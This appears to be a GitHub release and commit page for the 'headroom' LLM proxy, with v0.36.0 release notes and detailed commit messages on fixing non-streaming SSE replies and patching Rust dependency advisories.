Install Native E2E / install-native (macos-latest) (push) Has been cancelled
Install Native E2E / install-native (ubuntu-latest) (push) Has been cancelled
Merge Conflicts / merge-conflicts (push) Has been cancelled
OpenCode Plugin / typecheck + build + test (push) Has been cancelled
Security / Dependency audit (pip-audit) (push) Has been cancelled
Security / CodeQL (javascript-typescript) (push) Has been cancelled
Security / CodeQL (python) (push) Has been cancelled
Security / Secret scan (gitleaks) (push) Has been cancelled
Wrap E2E / docker-wrap-e2e (push) Has been cancelled
Wrap Native E2E / wrap-native (macos-latest) (push) Has been cancelled
Wrap Native E2E / wrap-native (ubuntu-latest) (push) Has been cancelled
CI / lint (push) Has been cancelled
CI / test (1) (push) Has been cancelled
CI / test (2) (push) Has been cancelled
CI / workflow-validation (push) Has been cancelled
CI / docker-native-e2e (push) Has been cancelled
CI / windows-native-wrapper (push) Has been cancelled
CI / build-wheel (push) Has been cancelled
CI / build-wheel-windows (push) Has been cancelled
CI / prefetch-model (push) Has been cancelled
CI / test (3) (push) Has been cancelled
CI / test (4) (push) Has been cancelled
CI / test-extras (push) Has been cancelled
CI / test-agno (push) Has been cancelled
CI / test-dashboard-ui (push) Has been cancelled
CI / build (push) Has been cancelled
CI / macos-native-wrapper (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime name:]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code name:code]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code-slim name:code-slim]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-nonroot name:nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-slim name:slim]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Has been cancelled
🤖 I have created a release *beep* *boop*
---


##
[0.36.0](https://github.com/headroomlabs-ai/headroom/compare/v0.35.0...v0.36.0)
(2026-08-20)


### Features

* add deterministic runtime rollout controls
([#1490](https://github.com/headroomlabs-ai/headroom/issues/1490))
([3077ac8](https://github.com/headroomlabs-ai/headroom/commit/3077ac81e8ef3ddefebbe308ea37a4e9bb2100e6))
* **proxy:** let extensions report cost savings and their own latency
([#3051](https://github.com/headroomlabs-ai/headroom/issues/3051))
([f9807fd](https://github.com/headroomlabs-ai/headroom/commit/f9807fd69e220f43068ec168515ae886dd36166f))
* **proxy:** unify savings attribution across stats, perf, metrics, and
dashboard
([1b0b0b8](https://github.com/headroomlabs-ai/headroom/commit/1b0b0b89a4bf751c8bd592890aef9c3b339e8e37)),
closes [#2976](https://github.com/headroomlabs-ai/headroom/issues/2976)
* **wrap/claude:** make the --1m fallback model configurable via
HEADROOM_1M_MODEL
([#2983](https://github.com/headroomlabs-ai/headroom/issues/2983))
([2a84725](https://github.com/headroomlabs-ai/headroom/commit/2a8472525d3a027c95dc38a10c4b6707b482cabc))


### Bug Fixes

* **anthropic:** honor the [1m] 1M-context tier, and price it correctly
([#3073](https://github.com/headroomlabs-ai/headroom/issues/3073))
([6d2254d](https://github.com/headroomlabs-ai/headroom/commit/6d2254dfb5eb97f92249e0ee7aa04b2697adfa69))
* **ccr:** make --no-ccr disable server-side response handling too
([#3101](https://github.com/headroomlabs-ai/headroom/issues/3101))
([131b119](https://github.com/headroomlabs-ai/headroom/commit/131b119c053e66fe825dabb3c242f6dc5c6049d7)),
closes [#3082](https://github.com/headroomlabs-ai/headroom/issues/3082)
* **ccr:** make StreamingCCRHandler work on OpenAI streams
([#3069](https://github.com/headroomlabs-ai/headroom/issues/3069))
([7ef736f](https://github.com/headroomlabs-ai/headroom/commit/7ef736fb1a8852a3dee52a362043c47084628a2a))
* **ccr:** only buffer a stream when a marker is actually redeemable
([#3092](https://github.com/headroomlabs-ai/headroom/issues/3092))
([c502087](https://github.com/headroomlabs-ai/headroom/commit/c502087db702e9b6aa1d1736086cf4a69a7775e6))
* **ccr:** re-inject headroom_retrieve when history references it on the
sessionless path
([942af56](https://github.com/headroomlabs-ai/headroom/commit/942af56f11cbd8466e25ae189c65ba56a9ddd602))
* **ccr:** relay a successful upstream turn when post-processing fails
([#3094](https://github.com/headroomlabs-ai/headroom/issues/3094))
([0ec73fa](https://github.com/headroomlabs-ai/headroom/commit/0ec73faa2805502a5c13eab7e4f086f8ae2e175e))
* **ccr:** send Accept: application/json on a buffered stream:false turn
([#3102](https://github.com/headroomlabs-ai/headroom/issues/3102))
([139c7cb](https://github.com/headroomlabs-ai/headroom/commit/139c7cbdde6a68ae3ade24341a79e5ba659c2cf3)),
closes [#3078](https://github.com/headroomlabs-ai/headroom/issues/3078)
* **ccr:** verify a scanned marker's hash before advertising it
([#2908](https://github.com/headroomlabs-ai/headroom/issues/2908))
([41dab2d](https://github.com/headroomlabs-ai/headroom/commit/41dab2d09925658b96fed492d534346ce1930f4c))
* **ci:** prevent native detector from hanging test shards
([#2996](https://github.com/headroomlabs-ai/headroom/issues/2996))
([a708c05](https://github.com/headroomlabs-ai/headroom/commit/a708c0571eecfb53eaab6b787b7a6ace9b21c162))
* **ci:** scope the release credential and stop persisting it to disk
([#3062](https://github.com/headroomlabs-ai/headroom/issues/3062))
([ac8646a](https://github.com/headroomlabs-ai/headroom/commit/ac8646aa3c6323c3c0b7051e09831f779859af6f))
* **ci:** unjam release and Docker publishing
([#2958](https://github.com/headroomlabs-ai/headroom/issues/2958))
([e269afb](https://github.com/headroomlabs-ai/headroom/commit/e269afb935f298a833a189acfb8573e908b3b60b))
* **claude:** reject conflicting auth before proxy startup
([#2993](https://github.com/headroomlabs-ai/headroom/issues/2993))
([2d88e31](https://github.com/headroomlabs-ai/headroom/commit/2d88e31a404e2be6c1c428deb2a387599eb820ba))
* **cli/install:** resolve the deployment profile instead of dead-ending
on default
([#2832](https://github.com/headroomlabs-ai/headroom/issues/2832))
([8252619](https://github.com/headroomlabs-ai/headroom/commit/82526191a103a8d0e079d170e47631b3c2bcb0d9))
* **cli:** stop the macOS malloc re-exec replacing an embedder's process
([#3064](https://github.com/headroomlabs-ai/headroom/issues/3064))
([96c25f5](https://github.com/headroomlabs-ai/headroom/commit/96c25f518154536cf15f4e0b2d3fed80de6e67f6))
* **copilot:** route VS Code inline completions to Copilot, not OpenAI
([#3077](https://github.com/headroomlabs-ai/headroom/issues/3077))
([204e751](https://github.com/headroomlabs-ai/headroom/commit/204e751d2f01b0e987e9c05edec21664bb2df279))
* **copilot:** send VS Code inline completions to the host that serves
them ([#3112](https://github.com/headroomlabs-ai/headroom/issues/3112))
([b77d612](https://github.com/headroomlabs-ai/headroom/commit/b77d61291399976985f12adcd6014aba2f0275cf))
* **deps:** bump datasets past PYSEC-2026-3716
([#3136](https://github.com/headroomlabs-ai/headroom/issues/3136))
([df6ff6b](https://github.com/headroomlabs-ai/headroom/commit/df6ff6bd5b47837c1247cf4eb8ac151ebd799aa5))
* **deps:** clear the two Rust advisories and make cargo audit blocking
([#3121](https://github.com/headroomlabs-ai/headroom/issues/3121))
([93c474e](https://github.com/headroomlabs-ai/headroom/commit/93c474e84b2eeee147c274f3d75f48e5ea42d0d5))
* **deps:** raise the GitPython floor to 3.1.58 to clear 9 open
advisories
([#3120](https://github.com/headroomlabs-ai/headroom/issues/3120))
([8156d4d](https://github.com/headroomlabs-ai/headroom/commit/8156d4dc3a376476513ef6f78104ff81d08967ac))
* **docker:** publish compose ports on loopback only
([#3061](https://github.com/headroomlabs-ai/headroom/issues/3061))
([481e0b8](https://github.com/headroomlabs-ai/headroom/commit/481e0b83d5393419b27b17d95767104c7c1bda26))
* **docker:** ship Bedrock auth and current registry
([#2982](https://github.com/headroomlabs-ai/headroom/issues/2982))
([eafdf11](https://github.com/headroomlabs-ai/headroom/commit/eafdf11a2cea44aabc51ce59bbc031e0aaee9640))
* **doctor:** surface that Claude Desktop agent sessions bypass the
proxy ([#2987](https://github.com/headroomlabs-ai/headroom/issues/2987))
([be5b26d](https://github.com/headroomlabs-ai/headroom/commit/be5b26d807be81d83594c9144a8520f6f0f1b273))
* **install:** consolidate Windows fallback and cleanup safety
([#2980](https://github.com/headroomlabs-ai/headroom/issues/2980))
([ddd2a25](https://github.com/headroomlabs-ai/headroom/commit/ddd2a259ecce4e57202a68a74a2c1adcb879679b))
* **install:** honor HEADROOM_PORT in install apply and deploy
([#3085](https://github.com/headroomlabs-ai/headroom/issues/3085))
([58f28dc](https://github.com/headroomlabs-ai/headroom/commit/58f28dc7a6b6ce5bbf0f88524bd78cbe3f3ffa4b))
* **install:** stop the PowerShell installer leaking temp dirs into the
real user PATH
([#2985](https://github.com/headroomlabs-ai/headroom/issues/2985))
([ddd9f76](https://github.com/headroomlabs-ai/headroom/commit/ddd9f76729d5662201b84bd0a51281cd3ac64ad3))
* **learn:** include stdout in CLI failure messages, not just stderr
([#3080](https://github.com/headroomlabs-ai/headroom/issues/3080))
([c5563d3](https://github.com/headroomlabs-ai/headroom/commit/c5563d3a7dd8b7f88767cf503f1b1696917e36ee))
* **mcp:** restore SDK v1 compatibility cap
([#2978](https://github.com/headroomlabs-ai/headroom/issues/2978))
([6077e5a](https://github.com/headroomlabs-ai/headroom/commit/6077e5a149ee6548edaff033f2cdffffce6ea0cf))
* **memory:** sanitize entity_refs to prevent dict-shaped entries
crashing search
([#2951](https://github.com/headroomlabs-ai/headroom/issues/2951))
([2d1e96b](https://github.com/headroomlabs-ai/headroom/commit/2d1e96b85c61cc7aab821750f549f24d54cbb6f5))
* **onnx:** enforce Rust API-24 runtime compatibility
([#2979](https://github.com/headroomlabs-ai/headroom/issues/2979))
([a3fe5cb](https://github.com/headroomlabs-ai/headroom/commit/a3fe5cb65bed625e2a6cb415821bd0798754ce08))
* **openclaw-plugin:** circuit breaker + per-request timeout for proxy
resilience
([#639](https://github.com/headroomlabs-ai/headroom/issues/639))
([6576ef6](https://github.com/headroomlabs-ai/headroom/commit/6576ef639cbb7be8bc5e6c25134956803d18f8d8))
* **opencode:** send x-headroom-project header on all proxied requests
([#2868](https://github.com/headroomlabs-ai/headroom/issues/2868))
([eeb038b](https://github.com/headroomlabs-ai/headroom/commit/eeb038bc0c28fc8078986db0849bfcff6743c158))
* **policy:** price net-cost mutations with the 1h cache-write tier
([#2780](https://github.com/headroomlabs-ai/headroom/issues/2780))
([ef7e07e](https://github.com/headroomlabs-ai/headroom/commit/ef7e07e0f5d6510ab96b5abb1698b1b681b5f9bf))
* **providers:** don't crash on a non-object HEADROOM_MODEL_LIMITS /
models.json
([#3089](https://github.com/headroomlabs-ai/headroom/issues/3089))
([3ed8f76](https://github.com/headroomlabs-ai/headroom/commit/3ed8f7601935cb08eebfd34007e97675903180a5))
* **proxy/anthropic:** don't buffer a CCR stream when passthrough
discards the stream flip
([#2953](https://github.com/headroomlabs-ai/headroom/issues/2953))
([f1c34d3](https://github.com/headroomlabs-ai/headroom/commit/f1c34d336cf35db341153c1c65e8c15219398340))
* **proxy/anthropic:** don't replay recorded prefix over live history
([#3026](https://github.com/headroomlabs-ai/headroom/issues/3026))
([#3052](https://github.com/headroomlabs-ai/headroom/issues/3052))
([c16be9b](https://github.com/headroomlabs-ai/headroom/commit/c16be9bbbec4aec6d4b35e482c166daef8afa72c))
* **proxy/anthropic:** repair headroom_retrieve history references the
tools array cannot support
([#2876](https://github.com/headroomlabs-ai/headroom/issues/2876))
([7de3573](https://github.com/headroomlabs-ai/headroom/commit/7de35739c61bed385dd078aee1b36865938c486d))
* **proxy/anthropic:** stop answering a non-streaming turn with an event
stream
([#3142](https://github.com/headroomlabs-ai/headroom/issues/3142))
([0e26fb8](https://github.com/headroomlabs-ai/headroom/commit/0e26fb80de600795e96435473486c4a7c79c6eaa))
* **proxy/cache:** strip cache_control from messages in the semantic
cache key
([#3086](https://github.com/headroomlabs-ai/headroom/issues/3086))
([2cae0f8](https://github.com/headroomlabs-ai/headroom/commit/2cae0f8eaf627f6b743deb215f7c19c499c26bcd))
* **proxy/gemini:** guard CCR continuation usage against present-null
counts
([#3035](https://github.com/headroomlabs-ai/headroom/issues/3035))
([a01897c](https://github.com/headroomlabs-ai/headroom/commit/a01897c791f4bb6471defafd560d29d491eb2df8))
* **proxy/openai:** propagate provider usage on the Responses
WS-&gt;HTTP fallback
([#2988](https://github.com/headroomlabs-ai/headroom/issues/2988))
([536c949](https://github.com/headroomlabs-ai/headroom/commit/536c949a692f4855719d71d612abc4968040286b))
* **proxy:** adapt 200 SSE upstream replies on buffered /v1/responses
instead of 502
([#2622](https://github.com/headroomlabs-ai/headroom/issues/2622))
([d76fce0](https://github.com/headroomlabs-ai/headroom/commit/d76fce04a39b3f206e38a02e012d50b2c728f7ca))
* **proxy:** align signed-thinking wire accounting
([#3015](https://github.com/headroomlabs-ai/headroom/issues/3015))
([b3f4436](https://github.com/headroomlabs-ai/headroom/commit/b3f443636d279d4bad845a8ef2bddb7ca50e9bc6))
* **proxy:** complete stateless Responses and buffered CCR lifecycle
([#2997](https://github.com/headroomlabs-ai/headroom/issues/2997))
([8a1d38b](https://github.com/headroomlabs-ai/headroom/commit/8a1d38bc5da87b49a530df22090c3a156d2d0cd6))
* **proxy:** guard feedback endpoints and add CSRF checks to loopback
writes
([#3060](https://github.com/headroomlabs-ai/headroom/issues/3060))
([a6ab359](https://github.com/headroomlabs-ai/headroom/commit/a6ab359a5d8d67a85f734131b55dbcef768a821a))
* **proxy:** keep prefixed core tools resident
([#3046](https://github.com/headroomlabs-ai/headroom/issues/3046))
([2f4d001](https://github.com/headroomlabs-ai/headroom/commit/2f4d001c9ffd7f856c8dab3e31a8240a1c676f04))
* **proxy:** preserve Codex WebSocket model attribution
([#3029](https://github.com/headroomlabs-ai/headroom/issues/3029))
([a06a51e](https://github.com/headroomlabs-ai/headroom/commit/a06a51eca63f88271dfa77f2ee6bf3c8da6b24e4))
* **proxy:** relocate stray system-role messages to the top-level system
param ([#765](https://github.com/headroomlabs-ai/headroom/issues/765))
([#1357](https://github.com/headroomlabs-ai/headroom/issues/1357))
([9fde127](https://github.com/headroomlabs-ai/headroom/commit/9fde12753416a6102535235b822e44afebf76e9e))
* **proxy:** restore the buffered-CCR heartbeat behind a grace window
([#3091](https://github.com/headroomlabs-ai/headroom/issues/3091))
([a29d201](https://github.com/headroomlabs-ai/headroom/commit/a29d2015e5eaf72730a4155f0307cbfac1ea1c9b))
* **proxy:** scope the signed-thinking lock to blocks that actually
changed
([#3124](https://github.com/headroomlabs-ai/headroom/issues/3124))
([17522fb](https://github.com/headroomlabs-ai/headroom/commit/17522fb0a1013c012e8123b1e713dbb2f3e770d9))
* **proxy:** stop a lone surrogate turning a thinking body into a 500
([#3134](https://github.com/headroomlabs-ai/headroom/issues/3134))
([284ff31](https://github.com/headroomlabs-ai/headroom/commit/284ff31947ec9eac1de0e2dc1cf5de4933c29a50))
* **proxy:** stop cached responses replaying the producing turn's wire
framing
([#3024](https://github.com/headroomlabs-ai/headroom/issues/3024))
([9d37059](https://github.com/headroomlabs-ai/headroom/commit/9d370592b022d01e6bc44a88649a611507794776))
* **proxy:** stop operator secrets following a client-chosen upstream
([#3122](https://github.com/headroomlabs-ai/headroom/issues/3122))
([05f5ef4](https://github.com/headroomlabs-ai/headroom/commit/05f5ef47cbc8b31a60458553d6bf240896a47e16))
* **proxy:** tune macOS libmalloc and trim allocator pages so long-lived
RSS stays bounded
([#2879](https://github.com/headroomlabs-ai/headroom/issues/2879))
([6d87825](https://github.com/headroomlabs-ai/headroom/commit/6d87825f62e47bc65eeae05fbb8a131d545fe5a2))
* **reporting:** show net vs gross savings, real skip thresholds, and
the effective profile
([#3123](https://github.com/headroomlabs-ai/headroom/issues/3123))
([250ede2](https://github.com/headroomlabs-ai/headroom/commit/250ede2f7f4752c0ab08831013fad3f753f4a578))
* tool_search_tool_regex deferred and falsely resolved on
direct-Anthropic path
([#2971](https://github.com/headroomlabs-ai/headroom/issues/2971))
([8ea87e7](https://github.com/headroomlabs-ai/headroom/commit/8ea87e7804abfbb55beaf869e50dcb66deab975a))
* **vscode:** persist compatible Claude modes and route Copilot CAPI
([#2986](https://github.com/headroomlabs-ai/headroom/issues/2986))
([1aa701a](https://github.com/headroomlabs-ai/headroom/commit/1aa701adaa1ff792dd0e701f498d8d0326655670))
* **wrap:** set xAI upstream for grok-build proxy
([#2772](https://github.com/headroomlabs-ai/headroom/issues/2772))
([c831081](https://github.com/headroomlabs-ai/headroom/commit/c8310819a4221b0d120436786fc499a24c8e55f1))
* **wrap:** stop the Serena pre-index stalling the launch path for 300s
([#2945](https://github.com/headroomlabs-ai/headroom/issues/2945))
([6147883](https://github.com/headroomlabs-ai/headroom/commit/6147883d5e3a92cc7b890e6c05dce4391090c7e4))
* **wrap:** verify proxy deps before mutating Codex config
([#1628](https://github.com/headroomlabs-ai/headroom/issues/1628))
([b7f342c](https://github.com/headroomlabs-ai/headroom/commit/b7f342c153a3e6e43a9d3df006bcd4dd69842d00))


### Performance Improvements

* **perf:** skip rotated logs outside the requested window
([#3081](https://github.com/headroomlabs-ai/headroom/issues/3081))
([6c9f41e](https://github.com/headroomlabs-ai/headroom/commit/6c9f41e08c47f2bfc440c5a4c6ac8a357ad5ada0))


### Dependencies

* bump axum from 0.7.9 to 0.8.9
([#2966](https://github.com/headroomlabs-ai/headroom/issues/2966))
([5731be7](https://github.com/headroomlabs-ai/headroom/commit/5731be7e68f57292aed40d76e770657a88f78c13))
* bump criterion from 0.5.1 to 0.8.2
([#2965](https://github.com/headroomlabs-ai/headroom/issues/2965))
([b30f339](https://github.com/headroomlabs-ai/headroom/commit/b30f339d694abcd8dada76a34a1d69e30390bfc2))
* bump ruff from 0.15.22 to 0.16.2 in the pip-minor-patch group across 1
directory
([#2962](https://github.com/headroomlabs-ai/headroom/issues/2962))
([ff17961](https://github.com/headroomlabs-ai/headroom/commit/ff17961cd76a7cea1cff0a9dcfb7338929f37c5a))
* bump sha2 from 0.10.9 to 0.11.0
([#2288](https://github.com/headroomlabs-ai/headroom/issues/2288))
([322425c](https://github.com/headroomlabs-ai/headroom/commit/322425c43bffde1ed0b64fecf3cf5951565dd82b))
* bump the cargo-minor-patch group across 1 directory with 4 updates
([#2964](https://github.com/headroomlabs-ai/headroom/issues/2964))
([888a9f4](https://github.com/headroomlabs-ai/headroom/commit/888a9f4e147cf1f87244977fac81d5e9613352d7))
* bump tokio-tungstenite from 0.24.0 to 0.30.0
([#2967](https://github.com/headroomlabs-ai/headroom/issues/2967))
([bbe9013](https://github.com/headroomlabs-ai/headroom/commit/bbe901319d49a3d70caf7b37da2c29f7d7996e07))
* update mcp requirement from &lt;2.0.0,&gt;=1.28.1 to
&gt;=1.28.1,&lt;3.0.0
([#2963](https://github.com/headroomlabs-ai/headroom/issues/2963))
([d6fb536](https://github.com/headroomlabs-ai/headroom/commit/d6fb5365f67b9b7f90c7c55caead16ca6b41c586))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
v0.36.0
2026-08-19 21:14:59 -07:00
Tejas Chopra 0e26fb80de fix(proxy/anthropic): stop answering a non-streaming turn with an event stream (#3142)
## Description

Closes #3130. Unifies #3131 (@Joaovsales) and #3132 (@taiseii), which
landed within hours of each other on the same bug. Neither is redundant
— **#3131 contributed the clearest statement of the contract; #3132
contributed the reconstruction that can actually be trusted to satisfy
it.** This takes both.

A caller that sent `stream: false` was handed a `text/event-stream` body
at HTTP 200. The reply was complete — 8756 bytes, a valid upstream
`request-id` — it was simply wearing a wire format the SDK cannot parse,
so the turn was lost.

**On root cause.** #3130 says outright: *"I could not pin down why the
upstream answered a `stream`-less request with an event stream."* I
think this does. At `v0.35.0` the CCR path flips the body to `stream:
false` and never touches the client's `Accept` header — I checked the
tag and the count of Accept rewrites at that site is **zero**. So
upstream receives a self-contradicting request: *"answer as JSON"* in
the body, *"I only accept SSE"* in the headers. Both reporters (#3130,
#3140) show `server: cloudflare` / `cf-ray`, and both describe it as
intermittent — consistent with an edge honouring `Accept` under retry.
#3102 fixed that for the CCR flip; this PR moves the rewrite to the
buffered boundary **every** non-streaming request reaches, so the
client's own non-streaming retry is covered too.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

**From #3131 — the contract.** `headroom/proxy/nonstream_sse_policy.py`:
a pure module with a behaviour matrix and `should_recover_sse_reply` as
a single predicate. The three negative arms are deliberate — a streaming
caller wants SSE, a JSON content-type is already correct, a non-200
carries an upstream error the client should see verbatim.

**From #3132 — the reconstruction.** `require_complete=True` demands
`message_start`, a terminal `message_stop`, every opened block closed,
no in-band `error` event, and no delta the reconstructor cannot replay.
Anything short of that is a 502.

Three things only #3132 had, each load-bearing:

- **`index` is stripped from rebuilt content blocks.** The parser writes
it (`streaming.py:425`) and a client persists the reconstructed turn and
echoes it back — at which point Anthropic 400s with
`content.0.text.index: Extra inputs are not permitted`.
`_strip_streaming_only_content_fields` (`anthropic.py:185`) already
documents this exact failure. That inbound stripper would mask it *while
the proxy is in the path*, but the client's stored history is still
polluted.
- **SSE framing is normalized and `data:` no longer requires the
optional space.** The old `startswith("data: ")` skipped a spec-valid
stream **entirely** — zero events parsed, which is literally what the
report describes (*"0 stream events received"*).
- **Detection sniffs the body**, so a mislabeled or absent content-type
is still caught.

**Reconciled where they disagreed:**

- *Headers.* #3131 hand-rolled a framing list; this uses the established
`sanitize_forwarded_response_headers`. That already strips `connection`,
`keep-alive` and `server` alongside the content-* family — and per the
comment at `helpers.py:325`, leaving `transfer-encoding` on a rebuilt
body is what produced an empty HTTP 200 in #3019. #3131's list would
have left three of those on. #3132's `cf-*` filter is kept.
- *Detection.* The body sniff arrives as `body_is_event_stream`, so the
policy module stays pure — the sniff needs the response object and the
handler owns that.
- Dropped #3131's `json_reply_headers` and its test class; everything
else from both PRs is retained.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass

### Test Output

```text
tests/test_nonstream_sse_policy.py   18 passed   (from #3131)
tests/test_anthropic_buffered_sse.py 18 passed   (from #3132)
                                     36 passed

Regression sweep (-k "stream or sse or ccr or anthropic or proxy or buffered or usage"):
  2982 passed, 181 skipped, 0 failed in 153.41s

ruff check: All checks passed
ruff format --check: 527 files already formatted
```

Both contributors' suites are kept whole and both pass unmodified
against the merged implementation, which is the useful signal here —
they were written independently against different implementations.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in.
- Exact command / steps: applied #3132 as the engine, layered #3131's
policy module over it, rewired the decision site to the predicate, then
ran both suites and a 2982-test sweep concentrated on everything
touching the shared SSE parser.
- Observed result: 36/36 across both contributed suites, 2982 passed / 0
failed on the sweep. The sweep matters more than usual here —
`_parse_sse_to_response` is shared with the streaming path's usage
accounting, and `require_complete` defaults to `False` specifically so
existing callers keep the lenient reconstruction they were written
against. Nothing regressed.
- Not tested: no live upstream. I could not reproduce the upstream
answering a `stream`-less request with SSE against real
`api.anthropic.com` — that is the condition #3130 reports as
intermittent and load-dependent, and the Accept explanation above
remains a well-supported hypothesis rather than something I observed.
The fix does not depend on it: whatever the upstream returns, a caller
that did not ask for streaming is no longer handed SSE.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, deliberately, in two places. A
non-streaming turn answered with SSE is now reconstructed as JSON
instead of relayed; an SSE reply that cannot be faithfully reconstructed
is now a 502 instead of an unparseable 200. Both are the point.
`require_complete` defaults to `False`, so streaming callers of the
shared parser are untouched.
- Kill switch / disable path: none by design — relaying a body the
client cannot parse has no legitimate mode.
- Unsafe override required: No.
- Qualification impact: A truncated upstream stream now surfaces as an
explicit 502 rather than a short-but-successful turn. More visible
failures, fewer silent ones.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

If this lands, #3131 and #3132 should be closed as superseded — both
authors are credited via `Co-authored-by:` and their tests ship intact.
I would not close either before a maintainer agrees this unification is
the direction, since it discards a design decision from each.

**Wider context, not fixed here:** #3130 and #3140 both report against
**0.35.0**, and `main` already carries a stack of fixes for this symptom
class that has never shipped — #3102 (Accept), #3092, #3091, #3094,
#3101, #3069, #3084, #3124, #3134. All of them are gated behind #3067
`chore: release 0.36.0`. Every closed lookalike (#3019, #3055, #3071,
#3040, #2952) was fixed into that same unreleased window. Merging this
PR does not help either reporter until 0.36.0 ships; **cutting that
release is the higher-leverage action.**

The interim workaround for anyone on 0.35.0 is `HEADROOM_NO_CCR=1` — the
buffered flip is gated on `_has_headroom_retrieve_tool`, and `no_ccr`
stops the tool being injected, so the flip never engages. Note `headroom
wrap` has no `--no-ccr` flag in 0.35.0, so it has to be the env var.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: João Souto <73318835+Joaovsales@users.noreply.github.com>
Co-authored-by: taiseii <37083727+taiseii@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 20:45:38 -07:00
Tejas Chopra 93c474e84b fix(deps): clear the two Rust advisories and make cargo audit blocking (#3121)
## Description

An independent OSV sweep of every locked package in the repo (1,463
across PyPI, crates.io and npm) surfaced three RUSTSEC advisories that
**no gate was reporting**:

| advisory | package | status |
|---|---|---|
| RUSTSEC-2026-0258 (GHSA-q83h-524g-xf6h) | h2 0.4.15 | fixed here →
0.4.16 |
| RUSTSEC-2026-0204 | crossbeam-epoch 0.9.18 | fixed here → 0.9.20 |
| RUSTSEC-2024-0436 | paste 1.0.15 | unmaintained, **no patched version
exists** |

**h2 is the one that matters.** It accepted and queued empty DATA frames
without limit; a peer that never drains a stream drives unbounded memory
growth, or a panic when the length overflows. It is not a corner of the
tree — it reaches the published wheel (`hf-hub -> headroom-core ->
headroom-py`) and the entire axum/reqwest/aws-config surface of
`headroom-proxy`.

**Why none of this was visible** is the more important half of this PR.
The `audit` job was already correct in one respect I initially misread —
the `rust-changes` job reports `rust=true` for `schedule`, so it *does*
run nightly rather than only on Rust changes. The actual defect is that
`cargo audit` was `continue-on-error: true`. It has been faithfully
reporting findings into a green run that nobody looks at.

Two of the three are also invisible to Dependabot entirely:
`crossbeam-epoch` and `paste` are RUSTSEC-only with no GHSA, so the
advisory database GitHub scans does not contain them. This job is their
only possible coverage.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `Cargo.lock`: `h2` 0.4.15 → 0.4.16, `crossbeam-epoch` 0.9.18 → 0.9.20.
Version + checksum only, 4 lines each way.
- `.github/workflows/rust.yml`: dropped `continue-on-error: true` from
the `cargo audit` step. `cargo deny check licenses` is deliberately left
soft-fail — `deny.toml` documents itself as intentionally permissive for
now, and tightening license policy is a separate decision.
- `.cargo/audit.toml` (new): lists `RUSTSEC-2024-0436` as accepted, with
the reason. Path matters — cargo-audit reads `.cargo/audit.toml`; a
root-level `audit.toml` is silently ignored.

`paste` is unmaintained rather than vulnerable, and there is nothing to
move to. It arrives via `tokenizers -> paste` and `rav1e -> paste`, both
under `fastembed`, so it is not actionable at our layer. Worth
revisiting when `tokenizers` adopts `pastey`.

## Testing

- [x] Manual testing performed

### Test Output

```text
Checksums verified against the real crates.io tarballs, not just the API field:

  OK   h2 0.4.16  (173331 bytes)
        lock : a9f37a958b41b3b19ee2707c06439c0e9e547e847223eb791ecb0cb821c65e27
        real : a9f37a958b41b3b19ee2707c06439c0e9e547e847223eb791ecb0cb821c65e27
  OK   crossbeam-epoch 0.9.20  (47545 bytes)
        lock : 2d6914041f254d6e9176c01941b21115dcfb7089e55135a35411081bd106ef3f
        real : 2d6914041f254d6e9176c01941b21115dcfb7089e55135a35411081bd106ef3f

Dependency-set equality (crates.io API, kind=normal):
  h2 0.4.15 -> 0.4.16          : 11 deps before, 11 after, identical
  crossbeam-epoch 0.9.18 -> .20:  2 deps before,  2 after, identical
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), worktree off `main` @ `b77d6129`.
**`cargo` is not installed on this machine** — see below.
- Exact command / steps: (1) parsed `uv.lock`, `Cargo.lock` and all four
`package-lock.json` files into 1,463 unique (ecosystem, name, version)
tuples and queried `api.osv.dev/v1/querybatch`, then pulled full records
for every hit; (2) walked `Cargo.lock` to find which workspace crates
actually reach `h2`, `crossbeam-epoch` and `paste`; (3) fetched both
crates' dependency lists from the crates.io API at the old and new
versions and compared them; (4) downloaded both `.crate` tarballs and
computed SHA-256 locally.
- Observed result: both bumps are patch-level with **byte-identical
dependency sets**, so the edited `Cargo.lock` is exactly what `cargo
update -p h2 -p crossbeam-epoch` would produce, and both checksums match
the real tarballs. `h2` 0.4.16 was published 2026-08-17, which is also
why Dependabot has not raised it yet.
- Not tested: I could not run `cargo audit`, `cargo build` or the test
suite locally — cargo is not installed here. **The lock edit is
hand-written, so CI is the real verification**, and it is well covered:
the `rust` workflow's `test`, `build`, `parity` and now-blocking `audit`
jobs all consume this lock and will fail on a bad checksum or an
unresolvable graph. I would not merge this on green-by-assertion; it
needs the `rust` jobs actually green.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: No runtime behavior changes. CI
becomes stricter: `cargo audit` can now fail a build.
- Kill switch / disable path: re-adding `continue-on-error: true`
restores the previous (useless) behavior.
- Unsafe override required: No.
- Qualification impact: A newly-disclosed RUSTSEC advisory will now turn
the nightly Rust run red instead of being silently absorbed. That is the
intent, but it does mean advisories become someone's problem on
disclosure day — the escape hatch is a documented entry in
`.cargo/audit.toml`.
